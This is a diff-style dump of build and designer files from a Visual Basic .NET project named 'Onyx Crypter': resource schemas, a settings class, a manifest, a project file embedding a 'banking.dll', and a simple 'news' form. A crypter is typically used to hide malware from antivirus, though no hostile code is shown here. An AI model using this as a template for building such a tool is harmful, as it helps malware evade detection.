<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="banking" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\banking.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="icon" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\icon.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
</root>
|
||||
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.296
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.Onyx.My.MySettings
|
||||
Get
|
||||
Return Global.Onyx.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
@@ -0,0 +1,48 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<asmv1:assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||
<security>
|
||||
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<!-- UAC Manifest Options
|
||||
If you want to change the Windows User Account Control level replace the
|
||||
requestedExecutionLevel node with one of the following.
|
||||
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
|
||||
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
|
||||
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
|
||||
|
||||
Specifying requestedExecutionLevel node will disable file and registry virtualization.
|
||||
If you want to utilize File and Registry Virtualization for backward
|
||||
compatibility then delete the requestedExecutionLevel node.
|
||||
-->
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
|
||||
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
|
||||
<application>
|
||||
<!-- A list of all Windows versions that this application is designed to work with. Windows will automatically select the most compatible environment.-->
|
||||
|
||||
<!-- If your application is designed to work with Windows 7, uncomment the following supportedOS node-->
|
||||
<!--<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>-->
|
||||
|
||||
</application>
|
||||
</compatibility>
|
||||
|
||||
<!-- Enable themes for Windows common controls and dialogs (Windows XP and later) -->
|
||||
<!-- <dependency>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity
|
||||
type="win32"
|
||||
name="Microsoft.Windows.Common-Controls"
|
||||
version="6.0.0.0"
|
||||
processorArchitecture="*"
|
||||
publicKeyToken="6595b64144ccf1df"
|
||||
language="*"
|
||||
/>
|
||||
</dependentAssembly>
|
||||
</dependency>-->
|
||||
|
||||
</asmv1:assembly>
|
||||
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 32 KiB |
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,216 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">x86</Platform>
|
||||
<ProductVersion>
|
||||
</ProductVersion>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>{BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<StartupObject>Onyx.My.MyApplication</StartupObject>
|
||||
<RootNamespace>Onyx</RootNamespace>
|
||||
<AssemblyName>Onyx Crypter</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>WindowsForms</MyType>
|
||||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
|
||||
<TargetFrameworkProfile />
|
||||
<IsWebBootstrapper>false</IsWebBootstrapper>
|
||||
<PublishUrl>publish\</PublishUrl>
|
||||
<Install>true</Install>
|
||||
<InstallFrom>Disk</InstallFrom>
|
||||
<UpdateEnabled>false</UpdateEnabled>
|
||||
<UpdateMode>Foreground</UpdateMode>
|
||||
<UpdateInterval>7</UpdateInterval>
|
||||
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
|
||||
<UpdatePeriodically>false</UpdatePeriodically>
|
||||
<UpdateRequired>false</UpdateRequired>
|
||||
<MapFileExtensions>true</MapFileExtensions>
|
||||
<ApplicationRevision>0</ApplicationRevision>
|
||||
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
|
||||
<UseApplicationTrust>false</UseApplicationTrust>
|
||||
<PublishWizardCompleted>true</PublishWizardCompleted>
|
||||
<BootstrapperEnabled>true</BootstrapperEnabled>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x86' ">
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DocumentationFile>Onyx Crypter.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' ">
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DocumentationFile>Onyx Crypter.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionStrict>Off</OptionStrict>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionInfer>On</OptionInfer>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|AnyCPU'">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<Optimize>true</Optimize>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|AnyCPU'">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<ApplicationManifest>My Project\app.manifest</ApplicationManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<ApplicationIcon>onxycrypterlogo.ico</ApplicationIcon>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<ManifestCertificateThumbprint>CA8E1AE73C1737F6C811CB4884DC261809D24D38</ManifestCertificateThumbprint>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<ManifestKeyFile>builder_TemporaryKey.pfx</ManifestKeyFile>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<GenerateManifests>true</GenerateManifests>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<SignManifests>false</SignManifests>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Drawing" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
<Import Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="ApplicationEvents.vb" />
|
||||
<Compile Include="Compiler.vb" />
|
||||
<Compile Include="Form1.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Form1.Designer.vb">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="License.vb">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
<Compile Include="news.Designer.vb">
|
||||
<DependentUpon>news.vb</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="news.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Theme.vb">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="news.resx">
|
||||
<DependentUpon>news.vb</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="App.config" />
|
||||
<None Include="builder_TemporaryKey.pfx" />
|
||||
<None Include="My Project\app.manifest" />
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\banking.dll" />
|
||||
<None Include="Resources\icon.ico" />
|
||||
</ItemGroup>
|
||||
<ItemGroup />
|
||||
<ItemGroup>
|
||||
<BootstrapperPackage Include=".NETFramework,Version=v4.0">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>Microsoft .NET Framework 4 %28x86 and x64%29</ProductName>
|
||||
<Install>true</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Client.3.5">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.5 SP1 Client Profile</ProductName>
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.5 SP1</ProductName>
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Windows.Installer.3.1">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>Windows Installer 3.1</ProductName>
|
||||
<Install>true</Install>
|
||||
</BootstrapperPackage>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="bin\Debug\banking.dll" />
|
||||
<Content Include="onxycrypterlogo.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
@@ -0,0 +1,16 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<PublishUrlHistory>publish\</PublishUrlHistory>
|
||||
<InstallUrlHistory />
|
||||
<SupportUrlHistory />
|
||||
<UpdateUrlHistory />
|
||||
<BootstrapperUrlHistory />
|
||||
<ErrorReportUrlHistory />
|
||||
<FallbackCulture>en-US</FallbackCulture>
|
||||
<VerifyUploadedFiles>false</VerifyUploadedFiles>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<EnableSecurityDebugging>false</EnableSecurityDebugging>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
Binary file not shown.
+121
@@ -0,0 +1,121 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class news
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Me.VTheme1 = New Onyx.VTheme()
|
||||
Me.VTextBox2 = New Onyx.VTextBox()
|
||||
Me.VTextBox1 = New Onyx.VTextBox()
|
||||
Me.VButton1 = New Onyx.VButton()
|
||||
Me.VTheme1.SuspendLayout()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'VTheme1
|
||||
'
|
||||
Me.VTheme1.BorderStyle = System.Windows.Forms.FormBorderStyle.None
|
||||
Me.VTheme1.Colors = New Onyx.Bloom(-1) {}
|
||||
Me.VTheme1.Controls.Add(Me.VButton1)
|
||||
Me.VTheme1.Controls.Add(Me.VTextBox2)
|
||||
Me.VTheme1.Controls.Add(Me.VTextBox1)
|
||||
Me.VTheme1.Customization = ""
|
||||
Me.VTheme1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Me.VTheme1.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.VTheme1.Image = Nothing
|
||||
Me.VTheme1.Location = New System.Drawing.Point(0, 0)
|
||||
Me.VTheme1.Movable = True
|
||||
Me.VTheme1.Name = "VTheme1"
|
||||
Me.VTheme1.NoRounding = False
|
||||
Me.VTheme1.Sizable = True
|
||||
Me.VTheme1.Size = New System.Drawing.Size(284, 262)
|
||||
Me.VTheme1.SmartBounds = True
|
||||
Me.VTheme1.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
|
||||
Me.VTheme1.TabIndex = 0
|
||||
Me.VTheme1.Text = "News"
|
||||
Me.VTheme1.TransparencyKey = System.Drawing.Color.Fuchsia
|
||||
Me.VTheme1.Transparent = False
|
||||
'
|
||||
'VTextBox2
|
||||
'
|
||||
Me.VTextBox2.Colors = New Onyx.Bloom(-1) {}
|
||||
Me.VTextBox2.Customization = ""
|
||||
Me.VTextBox2.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.VTextBox2.Image = Nothing
|
||||
Me.VTextBox2.Location = New System.Drawing.Point(12, 67)
|
||||
Me.VTextBox2.MaxCharacters = 0
|
||||
Me.VTextBox2.Multiline = True
|
||||
Me.VTextBox2.Name = "VTextBox2"
|
||||
Me.VTextBox2.NoRounding = False
|
||||
Me.VTextBox2.Size = New System.Drawing.Size(260, 157)
|
||||
Me.VTextBox2.TabIndex = 1
|
||||
Me.VTextBox2.Transparent = False
|
||||
Me.VTextBox2.UsePasswordMask = False
|
||||
'
|
||||
'VTextBox1
|
||||
'
|
||||
Me.VTextBox1.Colors = New Onyx.Bloom(-1) {}
|
||||
Me.VTextBox1.Customization = ""
|
||||
Me.VTextBox1.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.VTextBox1.Image = Nothing
|
||||
Me.VTextBox1.Location = New System.Drawing.Point(12, 36)
|
||||
Me.VTextBox1.MaxCharacters = 0
|
||||
Me.VTextBox1.Multiline = False
|
||||
Me.VTextBox1.Name = "VTextBox1"
|
||||
Me.VTextBox1.NoRounding = False
|
||||
Me.VTextBox1.Size = New System.Drawing.Size(260, 25)
|
||||
Me.VTextBox1.TabIndex = 0
|
||||
Me.VTextBox1.Transparent = False
|
||||
Me.VTextBox1.UsePasswordMask = False
|
||||
'
|
||||
'VButton1
|
||||
'
|
||||
Me.VButton1.Colors = New Onyx.Bloom(-1) {}
|
||||
Me.VButton1.Customization = ""
|
||||
Me.VButton1.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.VButton1.Image = Nothing
|
||||
Me.VButton1.Location = New System.Drawing.Point(12, 230)
|
||||
Me.VButton1.Name = "VButton1"
|
||||
Me.VButton1.NoRounding = False
|
||||
Me.VButton1.Size = New System.Drawing.Size(260, 23)
|
||||
Me.VButton1.TabIndex = 2
|
||||
Me.VButton1.Text = "Close"
|
||||
Me.VButton1.Transparent = False
|
||||
'
|
||||
'news
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.ClientSize = New System.Drawing.Size(284, 262)
|
||||
Me.Controls.Add(Me.VTheme1)
|
||||
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None
|
||||
Me.Name = "news"
|
||||
Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
|
||||
Me.Text = "news"
|
||||
Me.TransparencyKey = System.Drawing.Color.Fuchsia
|
||||
Me.VTheme1.ResumeLayout(False)
|
||||
Me.ResumeLayout(False)
|
||||
|
||||
End Sub
|
||||
Friend WithEvents VTheme1 As Onyx.VTheme
|
||||
Friend WithEvents VTextBox2 As Onyx.VTextBox
|
||||
Friend WithEvents VTextBox1 As Onyx.VTextBox
|
||||
Friend WithEvents VButton1 As Onyx.VButton
|
||||
End Class
|
||||
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
